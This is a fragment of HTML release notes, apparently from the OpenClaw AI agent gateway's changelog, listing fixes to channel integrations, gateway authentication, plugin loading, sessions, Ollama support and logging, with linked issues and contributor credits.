<li>Channels/Telegram: stop native approval startup auth failures from retrying every second, while still waiting through retryable Gateway auth handoffs, so Telegram approval setup problems no longer create a reconnect/log loop during channel startup. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4336399068" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72846" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72846/hovercard" href="https://github.com/openclaw/openclaw/issues/72846">#72846</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4336796824" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72867" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72867/hovercard" href="https://github.com/openclaw/openclaw/issues/72867">#72867</a>. Thanks @kiranvk-2011 and @porly1985.</li>
<li>Channels/Microsoft Teams: unwrap staged CommonJS JWT runtime dependencies before Bot Connector token validation so inbound Teams messages no longer 401 after the bundled runtime-deps move. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4338718429" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73026" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73026/hovercard" href="https://github.com/openclaw/openclaw/issues/73026">#73026</a>. Thanks @kbrown10000.</li>
<li>Gateway/auth: allow local direct callers in trusted-proxy mode to use the configured gateway password as an internal fallback while keeping token fallback rejected. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3945900988" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/17761" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/17761/hovercard" href="https://github.com/openclaw/openclaw/issues/17761">#17761</a>. Thanks @dashed, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>, and @jetd1.</li>
<li>Gateway/auth: add explicit <code>trustedProxy.allowLoopback</code> support for same-host loopback reverse proxies while keeping loopback trusted-proxy auth fail-closed by default and preserving required-header and allowlist checks. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4188620757" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59167" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59167/hovercard" href="https://github.com/openclaw/openclaw/issues/59167">#59167</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4227796213" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63379" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/63379/hovercard" href="https://github.com/openclaw/openclaw/pull/63379">#63379</a>. Thanks @Matir, @jeremyakers, and @mrosmarin.</li>
<li>Channels/sessions: prevent guarded inbound session recording from creating route-only phantom sessions while still allowing last-route updates for sessions that already exist. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4338488486" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73009" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73009/hovercard" href="https://github.com/openclaw/openclaw/pull/73009">#73009</a>. Thanks @jzakirov.</li>
<li>Cron: accept <code>delivery.threadId</code> in Gateway cron add/update schemas so scheduled announce delivery can target Telegram forum topics and other threaded channel destinations through the documented delivery path. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4338638195" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73017" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73017/hovercard" href="https://github.com/openclaw/openclaw/issues/73017">#73017</a>. Thanks @coachsootz.</li>
<li>Plugins/runtime deps: stage bundled plugin dependencies imported by mirrored root dist chunks, so packaged memory and status commands do not miss <code>chokidar</code> or similar root-chunk dependencies after update. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4336949413" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72882" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72882/hovercard" href="https://github.com/openclaw/openclaw/issues/72882">#72882</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4337873931" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72970" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72970/hovercard" href="https://github.com/openclaw/openclaw/issues/72970">#72970</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4338190423" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72992" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72992/hovercard" href="https://github.com/openclaw/openclaw/issues/72992">#72992</a>. Thanks @shrimpy8, @colin-chang, and @Schnup03.</li>
<li>Plugins/runtime deps: reuse unchanged bundled plugin runtime mirrors instead of rebuilding plugin trees on every load, cutting avoidable writes and restart/reconnect I/O on slow storage. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4337456774" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72933" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72933/hovercard" href="https://github.com/openclaw/openclaw/issues/72933">#72933</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jasonftl/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jasonftl">@jasonftl</a>.</li>
<li>Agents/runtime context: deliver hidden runtime context through prompt-local system context while keeping the transcript-only custom entry out of provider user turns, and strip stale copied runtime-context prefaces from user-facing replies. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332131924" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72386" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72386/hovercard" href="https://github.com/openclaw/openclaw/issues/72386">#72386</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4337871339" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72969" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72969/hovercard" href="https://github.com/openclaw/openclaw/pull/72969">#72969</a>. Thanks @jhsmith409.</li>
<li>Channels/Telegram: skip the optional webhook-info API call during polling-mode status checks and startup bot-label probes so long-polling setups avoid an unnecessary Telegram round trip. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4338178741" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72990" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72990/hovercard" href="https://github.com/openclaw/openclaw/pull/72990">#72990</a>. Thanks @danielgruneberg.</li>
<li>CLI/message: resolve targeted <code>openclaw message</code> channels to their owning plugin before loading the registry, and fall back to configured channel plugins when the channel must be inferred, so scripted sends avoid full bundled plugin registry scans without assuming channel ids match plugin ids. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4338464996" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73006" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73006/hovercard" href="https://github.com/openclaw/openclaw/issues/73006">#73006</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jasonftl/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jasonftl">@jasonftl</a>.</li>
<li>Plugins/startup: parse strict JSON plugin manifests with native JSON first and keep JSON5 as the compatibility fallback, reducing manifest registry CPU during Gateway boot and CLI startup. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4338504645" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73011" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73011/hovercard" href="https://github.com/openclaw/openclaw/issues/73011">#73011</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jasonftl/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jasonftl">@jasonftl</a>.</li>
<li>CLI/models: keep route-first <code>models status --json</code> stdout reserved for the JSON payload by routing auth-profile and startup diagnostics to stderr. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4337789017" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72962" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72962/hovercard" href="https://github.com/openclaw/openclaw/issues/72962">#72962</a>. Thanks @vishutdhar.</li>
<li>Gateway/runtime: keep dirty-tree status calls from rebuilding live <code>dist</code>, clear stale task and restart state across in-process restarts, retry transient Discord lazy imports, and let channel startup continue after slow model warmup so browser, Discord, and voice-call sidecars come online. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Security/CodeQL: replace file SecretRef id gateway schema regex validation with segment-aligned predicates and set empty permissions on release summary/backfill jobs so the narrowed CodeQL profile stays clean. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Sessions: ignore future-dated session activity timestamps during reset freshness checks and cap future <code>updatedAt</code> values at the merge boundary so clock-skewed messages cannot keep stale sessions alive forever. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4338169255" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72989" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72989/hovercard" href="https://github.com/openclaw/openclaw/issues/72989">#72989</a>. Thanks @martingarramon.</li>
<li>Sessions: apply search, activity filters, and limits before gateway row enrichment so bounded session lists avoid scanning discarded transcripts. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4337964654" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72978" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72978/hovercard" href="https://github.com/openclaw/openclaw/pull/72978">#72978</a>. Thanks @yeager.</li>
<li>Sessions: remove trajectory runtime and pointer sidecars when session maintenance prunes, caps, or disk-evicts their owning session, while preserving sidecars still referenced by live rows. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4338364401" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73000" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73000/hovercard" href="https://github.com/openclaw/openclaw/issues/73000">#73000</a>. Thanks @jared-rebel.</li>
<li>Plugins/CLI: allow managed plugin installs when the active extensions root is a symlink to a real state directory, while keeping nested target symlinks blocked and suppressing misleading hook-pack fallback errors for install-boundary failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4337538823" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72946" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72946/hovercard" href="https://github.com/openclaw/openclaw/issues/72946">#72946</a>. Thanks @mayank6136.</li>
<li>Providers/Ollama: mark discovered Ollama catalog models as supporting streaming usage metadata so token accounting stays enabled for local models. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4337951581" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72976" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72976/hovercard" href="https://github.com/openclaw/openclaw/pull/72976">#72976</a>) Thanks @sdeyang.</li>
<li>Media understanding: reject malformed MIME values with trailing junk while preserving standard parameter tails before enrichment uses them. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4337267723" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72914" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72914/hovercard" href="https://github.com/openclaw/openclaw/pull/72914">#72914</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/volcano303/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/volcano303">@volcano303</a>.</li>
<li>WebChat: keep bare <code>/new</code> and <code>/reset</code> prompts from producing empty transcript text by inserting the hidden session marker when the visible tail is blank. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4336713074" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72863" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72863/hovercard" href="https://github.com/openclaw/openclaw/pull/72863">#72863</a>) Thanks @mahopan.</li>
<li>CLI/update: explain completion-cache refresh timeouts with manual refresh guidance instead of surfacing a raw low-level timeout. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4336309267" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72842" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72842/hovercard" href="https://github.com/openclaw/openclaw/issues/72842">#72842</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4336515486" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72850" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72850/hovercard" href="https://github.com/openclaw/openclaw/pull/72850">#72850</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iot2edge/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iot2edge">@iot2edge</a>.</li>
<li>Memory-core/dreaming: give narrative generation a 60-second timeout so slower local or remote models can finish instead of timing out at 15 seconds. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4336220062" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72837" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72837/hovercard" href="https://github.com/openclaw/openclaw/issues/72837">#72837</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4336522097" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72852" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72852/hovercard" href="https://github.com/openclaw/openclaw/pull/72852">#72852</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RayWoo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RayWoo">@RayWoo</a>.</li>
<li>Plugins/hooks: inject each plugin's resolved config into internal hook event context without mutating the shared event object. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4337006350" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72888" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72888/hovercard" href="https://github.com/openclaw/openclaw/pull/72888">#72888</a>) Thanks @jalapeno777.</li>
<li>Agents/ACP: pass the resolved ACP agent directory into media understanding so per-agent media caches and config are used for ACP-dispatched image turns. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4336153101" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72832" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72832/hovercard" href="https://github.com/openclaw/openclaw/pull/72832">#72832</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luyao618/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luyao618">@luyao618</a>.</li>
<li>Gateway/Bonjour: truncate mDNS service names and host labels to the 63-byte DNS label limit at valid UTF-8 boundaries. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4335853257" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72809" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72809/hovercard" href="https://github.com/openclaw/openclaw/pull/72809">#72809</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luyao618/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luyao618">@luyao618</a>.</li>
<li>Feishu: treat groups explicitly configured under channels.feishu.groups as admitted even when groupAllowFrom is empty, while preserving groupPolicy: "disabled" as a hard group block and keeping groups.* wildcard defaults non-admitting. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4276123133" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67687" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67687/hovercard" href="https://github.com/openclaw/openclaw/issues/67687">#67687</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4335551932" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72789" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72789/hovercard" href="https://github.com/openclaw/openclaw/pull/72789">#72789</a>) Thanks @MoerAI.</li>
<li>Gateway/startup: keep hot Gateway boot paths on leaf config imports and add max-RSS reporting to the gateway startup bench so low-memory startup regressions are visible before release. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>WebChat: read <code>chat.history</code> from active transcript branches, drop stale streamed assistant tails once final history catches up, and coalesce duplicate in-flight Control UI submits, so rewritten prompts, completed replies, and rapid send events no longer render or process twice. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4337951573" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72975" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72975/hovercard" href="https://github.com/openclaw/openclaw/issues/72975">#72975</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4337799302" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72963" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72963/hovercard" href="https://github.com/openclaw/openclaw/issues/72963">#72963</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4337936981" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72974" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72974/hovercard" href="https://github.com/openclaw/openclaw/issues/72974">#72974</a>. Thanks @dmagdici, @lhtpluto, and @Benjamin5281999.</li>
<li>WebChat/TTS: persist automatic final-mode TTS audio as a supplemental audio-only transcript update instead of adding a second assistant message with the same visible text. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4336135891" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72830" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72830/hovercard" href="https://github.com/openclaw/openclaw/issues/72830">#72830</a>. Thanks @lhtpluto.</li>
<li>Agents/LSP: terminate bundled stdio LSP process trees during runtime disposal and Gateway shutdown, so nested children such as <code>tsserver</code> do not survive stop or restart. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331967579" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72357" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72357/hovercard" href="https://github.com/openclaw/openclaw/issues/72357">#72357</a>. Thanks @ai-hpc and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bittoby/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bittoby">@bittoby</a>.</li>
<li>Diagnostics/OTEL: capture privacy-safe model-call request payload bytes, streamed response bytes, first-response latency, and total duration in diagnostic events, plugin hooks, stability snapshots, and OTEL model-call spans/metrics without logging raw model content. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4019760959" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/33832" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/33832/hovercard" href="https://github.com/openclaw/openclaw/issues/33832">#33832</a>. Thanks @wwh830.</li>
<li>Logging: write validated diagnostic trace context as top-level <code>traceId</code>, <code>spanId</code>, <code>parentSpanId</code>, and <code>traceFlags</code> fields in file-log JSONL records so traced requests and model calls are easier to correlate in log processors. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4042435480" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/40353" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/40353/hovercard" href="https://github.com/openclaw/openclaw/issues/40353">#40353</a>. Thanks @liangruochong44-ui.</li>
<li>Logging/sessions: apply configured redaction patterns to persisted session transcript text and accept escaped character classes in safe custom redaction regexes, so transcript JSONL no longer keeps matching sensitive text in the clear. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4056740716" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42982" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/42982/hovercard" href="https://github.com/openclaw/openclaw/issues/42982">#42982</a>. Thanks @panpan0000.</li>
<li>Providers/Ollama: honor <code>/api/show</code> capabilities when registering local models so non-tool Ollama models no longer receive the agent tool surface, and keep native Ollama thinking opt-in instead of enabling it by default. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4243652449" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64710" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64710/hovercard" href="https://github.com/openclaw/openclaw/issues/64710">#64710</a> and duplicate <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4247974485" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65343" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65343/hovercard" href="https://github.com/openclaw/openclaw/issues/65343">#65343</a>. Thanks @yuan-b, @netherby, @xilopaint, and @Diyforfun2026.</li>
<li>Control UI/Agents: remount the Overview model controls when switching agents so the primary-model picker cannot retain stale per-agent selection. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4040239436" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/39392" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/39392/hovercard" href="https://github.com/openclaw/openclaw/issues/39392">#39392</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4040268087" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/39401" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/39401/hovercard" href="https://github.com/openclaw/openclaw/pull/39401">#39401</a>, notes the duplicate <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4040506831" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/39495" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/39495/hovercard" href="https://github.com/openclaw/openclaw/pull/39495">#39495</a> approach, and keeps <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4076009746" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/46275" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/46275/hovercard" href="https://github.com/openclaw/openclaw/pull/46275">#46275</a>/<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4138805247" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54724" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/54724/hovercard" href="https://github.com/openclaw/openclaw/pull/54724">#54724</a> broader stabilization out of scope. Thanks @daijunyi002, @SergioChan, @aworki, and @wsyjh8.</li>
<li>Auto-reply: poison inbound message dedupe after replay-unsafe provider/runtime failures so retries stay safe before visible progress but cannot duplicate messages after block output, tool side effects, or session progress. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4295112826" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69303" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69303/hovercard" href="https://github.com/openclaw/openclaw/issues/69303">#69303</a>; keeps <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4181977803" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58549" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58549/hovercard" href="https://github.com/openclaw/openclaw/issues/58549">#58549</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4242766269" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64606" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64606/hovercard" href="https://github.com/openclaw/openclaw/issues/64606">#64606</a> as duplicate validation. Thanks @martingarramon, @NikolaFC, and @zeroth-blip.</li>
<li>Agents/model fallback: jump directly to a known later live-session model redirect instead of walking unrelated fallback candidates, while preserving the already-landed live-session/fallback loop guard. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4167179452" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/57471" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/57471/hovercard" href="https://github.com/openclaw/openclaw/issues/57471">#57471</a>; related loop family already closed via <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4181008782" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58496" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58496/hovercard" href="https://github.com/openclaw/openclaw/issues/58496">#58496</a>. Thanks @yuxiaoyang2007-prog.</li>
<li>Gateway/Bonjour: keep @homebridge/ciao cancellation handlers registered across advertiser restarts so late probing cancellations cannot crash Linux and other mDNS-churned gateways. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/startup: load the default <code>memory-core</code> slot during Gateway startup when permitted so active-memory recall can call <code>memory_search</code> and <code>memory_get</code> without requiring an explicit <code>plugins.slots.memory</code> entry, while preserving <code>plugins.slots.memory: "none"</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Gateway/plugins: resolve <code>gateway_start</code> cron hooks from live Gateway runtime state before the legacy deps fallback, so memory-core dreaming cron reconciliation keeps working on installs where <code>deps.cron</code> is not populated during service startup. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4336219364" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72835" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72835/hovercard" href="https://github.com/openclaw/openclaw/issues/72835">#72835</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RayWoo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RayWoo">@RayWoo</a>.</li>
<li>Plugins/CLI: prefer native require for compiled bundled plugin JavaScript before jiti so read-only config, status, device, and node commands avoid unnecessary transform overhead on slow hosts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4221630999" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62842" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62842/hovercard" href="https://github.com/openclaw/openclaw/issues/62842">#62842</a>. Thanks @Effet.</li>
<li>Plugins/compat: inventory doctor-side deprecation migrations separately from runtime plugin compatibility so release sweeps preserve needed repairs while enforcing dated removal windows. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/compat: add missing dated compatibility records for legacy extension-api, memory registration, provider hook/type aliases, runtime aliases, channel SDK helpers, and approval/test utility shims. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/CLI: refresh the persisted registry after managed plugin files are removed so ClawHub uninstall cannot leave stale <code>plugins list</code> entries. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/CLI: make plugin install and uninstall config writes conflict-aware, clear stale denylist entries on explicit reinstall/removal, and delete managed plugin files only after config/index commit succeeds. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins: fail <code>plugins update</code> when tracked plugin or hook updates error, keep bundled runtime-dependency repair behind restrictive allowlists, and reject package installs with unloadable extension entries. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
